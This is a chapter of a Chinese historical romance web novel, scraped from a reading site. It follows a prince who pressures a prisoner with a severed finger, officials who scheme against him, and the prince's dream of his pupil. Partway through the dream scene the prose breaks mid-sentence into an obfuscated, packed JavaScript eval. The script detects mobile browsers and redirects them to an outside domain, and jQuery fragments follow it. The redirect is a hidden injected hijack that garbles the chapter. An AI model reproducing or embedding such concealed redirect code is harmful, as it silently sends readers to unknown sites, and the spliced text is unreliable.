默认冷灰
24号文字
方正启体

27. 第 27 章

作者:岁岁衔山本书字数:K更新时间:
    外间不停晃动的烛光映进牢房,在凹凸不平的石壁上投下一道扭曲的光影。


    孔清泽在这光影之下,呼吸微弱,像是一条濒死的鱼。


    谢从奚靠着椅背,修长食指在扶手上有节奏地轻点,好整以暇地望着这个弱不禁风的太仓署令。


    短暂的沉寂过后,孔清泽一点一点抬起了头。


    他已被拘禁多日,仪容不整,浑身脏乱不堪,但即便如此,也依稀能从他血迹斑斑胡茬杂乱的脸上探得昔日的清秀俊朗。


    “女子?这与女子又有何关系?下官不懂。”


    他吐字艰涩,但语气执拗:“下官自进来第一日起,便说下官认罪,随时都可签字画押。”


    “孔署令果然是赤胆忠心,既然如此,本王也没什么好问的了。”


    谢从奚说完就起了身,骨节分明的手轻掸了掸袍子上粘的灰,向着牢门走去。


    堪堪到了牢门之前,他的脚步突然停了下来,他微微侧首:“说来孔署令登科的那场曲江宴,本王也在席中。”


    他逆着光影而立,轮廓分明的侧脸看不清神情。


    谢从奚像是与旧友叙旧一般:“孔署令风度翩翩,仪表端正,那日的风头几乎要盖过了前三甲。”


    “本王还听说……”


    “裴太仆曾有意将女儿许配给你,两家都已走到了纳吉这一步,可为何之后你与裴娘子的婚事又突然作罢了呢?”


    孔清泽勉强扯起笑意:“殿下对下官的私事真是了如指掌。”


    “没什么特殊的缘由,不过是我与裴家娘子有缘无分而已。”


    谢从奚也笑了一下,说道:“本王还以为是裴家嫌贫爱富,后来又反悔了呢。”


    谢从奚声音柔和,吩咐道:“季枫,把本王提前备下的礼物拿给孔署令。”


    “是,殿下。”


    季枫快走几步,将一只锦盒呈到孔清泽面前。


    锦盒不过手掌大小,外裹了一层锦缎,打眼一瞧便知不是凡品。


    季枫一手托着锦盒,一手在孔清泽的眼皮底下将盖子慢慢打开。


    盒子内部也垫上了一层柔软的丝绸,白色上绣着点点落梅,随着季枫的动作,丝绸上的东西映入孔清泽眼帘。


    丝绸正中端端正正放了一截微泛着白的物什。


    是一根断指。


    根部平整,指骨与皮肉切口整齐,整体纤细,是女子的小指。


    孔清泽一眼便看到了断指第二节指骨上那两颗并排的痣。


    “哗啦——”


    死死缚在孔清泽身上的铁链随着他剧烈的抖动喘息而簌簌作响。


    一直面容平静,一心赴死的孔清泽此时才像是活了过来,他目眦欲裂,瞋目切齿,胸腔在剧烈的刺激之下大幅抖动。


    谢从奚冷眼看着他失态。


    “就放在孔署令身前吧。”


    “是。”


    季枫依言将盒子放在孔清泽身前空地上,还特意挑了块稍微干净的地方,随后便重回谢从奚身后。


    孔清泽死死盯着黑漆漆地砖上的锦盒。


    “殿下留步。”


    喑哑的声音叫停了谢从奚的脚步。


    孔清泽是个聪明人,看到断指的那一刻便知谢从奚的用意。


    谢从奚却脚步未停,风轻云淡道:“晚了。”


    “孔署令现在想说,但是本王已经不想听了。”


    “殿下!”


    谢从奚身影丝毫未有停顿,他从容地拾阶而上,任凭孔清泽在后叫嚷,也没有回头的意思。


    彻底从地牢出来后,谢从奚吩咐季枫:“传令下去,这几天不用审了,每日照常给他放饭,但是什么都不用问,他问什么也不必回答。”


    季枫:“是,属下这就安排。”


    ……


    淮王殿下去了大理寺死牢的消息,不出半个时辰,便被递给了几波不同的人。


    已是子时末,户部尚书袁休的书房却还未熄灯。


    听过小厮禀报后,袁休心烦气躁,摆摆手让人退了下去,随后袁休的夫人便端着盅热汤推门而入。


    “天色已晚,夫君喝过汤后便休息吧,明日还要早朝。”


    袁休长叹一口气:“夫人呐,眼下我哪能喝得下去。”


    “淮王殿下已然归京,且刚刚去了死牢,他手段狠辣,孔清泽那个软骨头怕是扛不了多久,他若是和盘托出……”


    “而且大理寺上下铁板一块,我们的人根本探听不到里面的消息,夫人,你说我哪里能睡得着?这可是攸关身家性命的大事。”


    袁夫人将汤放在桌子上,微笑道:“夫君不必过于忧心,孔署令不是有命脉被握在我们手里吗?”


    一提这个,袁休更是控制不住怒气,他狠狠拍了一下桌子:“命脉!还有什么命脉!命脉自己惹出了事,现在都不知道遁逃到什么地方去了!”


    袁休怒不可遏,真是小瞧这裴柔了。


    本就是怕把她留在洛京会惹出事端,这才将她送到平州,一是为了盯住平州那个不堪大用的商户,二也是为了更好与卫夫人互通有无。


    可谁能料到,裴柔竟是要在平州翻天!


    小小的商户之死不足为道,可好死不死竟然让淮王殿下当面撞上。


    袁休越想越气,咬牙切齿道:“派出去的人尽数折损,卫使君那边也断了消息,裴柔更是不知躲到了哪里。”


    “夫人,刑部已然抓了好几人下狱,齐王却迟迟按兵不动,你说,我能如何,我该如何!”


    袁夫人思忖再三,说道:“裴柔的事传回京时,孔署令已然下狱,他必不可能先我们一步知道消息,且淮王殿下今日若是从他口中审出一二来,以他的作风,怕是早就有所动作了。”


    “当务之急,是要趁着孔署令还不知晓裴柔已经消失的事,让他按照之前约定行事。”


    袁休:“夫人,大理寺的人……”


    他还未说完,袁夫人就微笑着打断了他:“夫君的手不够长,齐王殿下可不一定吧。”


    袁休:“可是……”


    袁夫人:“夫君明日拿上那封信去拜访齐王殿下吧。”


    “若是不成,何不转投明主?”


    袁休没有应声,眉头紧皱,还在不断思考破局之法。


    ……


    谢从奚回府后沐浴完又去看了一眼姜同舒。


    郑太医不愧是医中圣手,两贴药下去,姜同舒的温度已经控制下来。


    谢从奚也并未多留,看过后便回了自己卧房。


    许是今日被姜同舒种种动作又勾起了深埋的回忆,一向浅眠无梦的他阖眼后竟也快速进了梦乡。


    梦里姜同舒穿着一袭浅桃色襦裙,趴在桌案上,枕着自己的手臂小憩,白皙的脸蛋被压出一点肉,未着口脂的唇泛着健康的红色,身子随着呼吸而微微抖动。


    她就这么不设防地在这睡着,泛着黄的旧书掉在地上,漏出了里面夹着的另一本书。


    这是两年前的旧事。


    谢从奚看着眼前的女子,知道自己是身处梦境。


    他还记得,当时他俯身捡起那两本书,发现一本是诗经,而另一本他还没来得及看,便被惊醒的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16311680|178419||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    女子一把夺了过去藏在身后,他只从隐秘漏出的边角里推断出,这大概是一本风月话本。


    眼前的小娘子怕被自己责怪,支支吾吾地不敢说话。


    谢从奚为了披好自己温润的皮,理所当然地没有多说什么,只是轻言细语地告诉她,晚上要早些歇息,若是今日太过困乏,不如就暂停课业。


    一听到暂停,姜同舒一下子皱起了眉,小脸绷着,连连摇头说自己一点都不困。


    谢从奚看着眼前一边摇头一边打哈欠的小娘子就觉得可爱,他侧首看了看外边的天气,正是风和日丽,晴空万里,他便提议带她出去透透气。


    姜同舒当时兴奋极了,忙抓着自己的荷包,迫不及待就要出门。


    ……


    谢从奚从回忆里抽身,看见梦中的自己如那时一般,轻手轻脚推开房门,随后向着熟睡的女子走去。


    三步、两步……


    眨眼间,谢从奚便站在女子身前,与她距离极近。


    他垂下眼帘,静静地看着她。


    然后,他一如当时所做,将掉在地上的书捡了起来。


    外边那本依旧是诗经,里边包着的也确实是本风月话本。


    谢从奚随手翻开话本,等着姜同舒惊醒后像兔子一般蹦起来将话本抢走。


    翻开后,谢从奚静等着。


    一息,两息……


    趴在桌子上的女子却始终没有动,依然乖巧地睡在那,丝毫没有察觉到有人到来。


    谢从奚笑了一声,随后视线移到翻开的话本上。


    片刻后,他呼吸一僵,这风月话本上,竟满满的都是些不堪入目的东西,而且,这话本的主人公,竟是他与姜同舒。


    谢从奚又翻了两页,密密麻麻的污言秽语中确实夹杂着两个熟悉的名讳。


    过了好半天,谢从奚才后知后觉意识到,这里是他的梦,出现这些不代表当时的姜同舒看的就是这个,这只能说明,是他日有所思,夜有所梦。


    谢从奚闭了闭眼,将书扔到一旁。


    两息后,他又默默将其捡了回来。


    这里是他的梦,就算他看了什么淫|乱的话本,那又如何?


    就算他真的做了什么,那又能怎样?


    不论是之前,还是今日,都是姜同舒先招惹他的。


    更何况,这里还仅仅只是一个虚无梦境。


    片刻后,男人的指尖轻轻落在了女子圆润的脸颊上,轻抚两下后,便下移滑到了她微张的唇边。


    这张唇湿润、饱满,还带着女子特有的甜。


    他下午才刚刚尝过。


    就在他指尖摩挲之时,姜同舒睫毛微颤,谢从奚还来不及收回指尖,她便悠悠转醒。


    谢从奚僵在原地,想快速把指尖收回,却没有如愿。


    指尖覆上不属于自己的热度,是姜同舒细嫩柔软的手攥住了他的。


    她声音还带着刚睡醒时的娇憨,吐字也黏黏糊糊的:“先生,你在干什么呀?”


    谢从奚喉结微微滑动,半晌,他听见自己说:“到听学的时间了,自然是要叫醒你。”


    姜同舒闻言,手紧紧抓着他的手,还微微摇动了两下,像是在撒娇:“好吧,那我们现在就开始吧,不过开始之前,先生要给我一个奖励。”


    谢从奚顺从地问道:“为什么要给你奖励”


    姜同舒理所当然地说道:“因为我都这么困倦了,却还坚持听学啊。”


    谢从奚声音发涩:“好,那阿舒想要什么奖励?”


    姜同舒莞尔一笑:“我要先生亲亲我。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)